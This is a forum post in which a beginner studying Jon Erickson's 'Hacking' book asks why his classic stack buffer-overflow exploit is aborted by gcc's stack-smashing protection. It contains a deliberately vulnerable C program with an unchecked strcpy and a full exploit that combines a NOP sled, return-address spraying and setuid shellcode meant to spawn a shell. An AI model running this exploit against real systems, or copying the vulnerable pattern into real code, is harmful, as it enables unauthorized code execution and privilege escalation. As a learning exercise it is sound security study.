Thread: *** stack smashing detected ***

Hi,

I'm trying to learn som C programming from this "Hacking" book by Jon Erickson and this code is taken from that book.

Both programs compile error-free and there are no other problems.
They are compiled with Gcc 4.1.2 on Ubuntu 4.1.1 (if it should matter.)

The problem is when i try to run exploit. I get this message:

Stack pointer (ESP) : 0xbf963908
Offset from ESP : 0x0
Desired return addr; 0xbf963908
*** stack smashing detected ***: vuln terminated
Aborted



vuln.c:

Code:

int main(int argc, char *argv[])
{
	char buffer[500];
	strcpy(buffer, argv[1]);
	return 0;
}

exploit.c

Code:

#include <stdlib.h>



char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
		   "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
		   "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x72"
		   "\x68";

unsigned long sp(void)
{__asm__("mov %esp, %eax");}

int main(int argc, char *argv[])
{
	int i, offset;
	long esp, ret, *addr_ptr;
	char *buffer, *ptr;

	offset = 0;
	esp = sp();
	ret = esp -offset;

	printf("Stack pointer (ESP) : 0x%x\n", esp);
	printf("     Offset from ESP : 0x%x\n", offset);
	printf("Desired return addr: 0x%x\n", ret);

	buffer = malloc(600);

	ptr = buffer;
	
	addr_ptr = (long *) ptr;
	for (i=0; i < 600; i+=4)
		{ *(addr_ptr++) = ret; }

	for (i=0; i < 200; i++)
	
	{buffer[i] = '\x90'; }
		
	
	ptr = buffer + 200;
	for(i=0; i < strlen(shellcode); i++)
	{ *(ptr++) = shellcode[i]; }

	buffer[600-1] = 0;

	execl("./vuln","vuln", buffer, 0);

	
	free(buffer);

	return(0);

}

I'm just a beginner to C soo i would appreciate any comments.

- Martin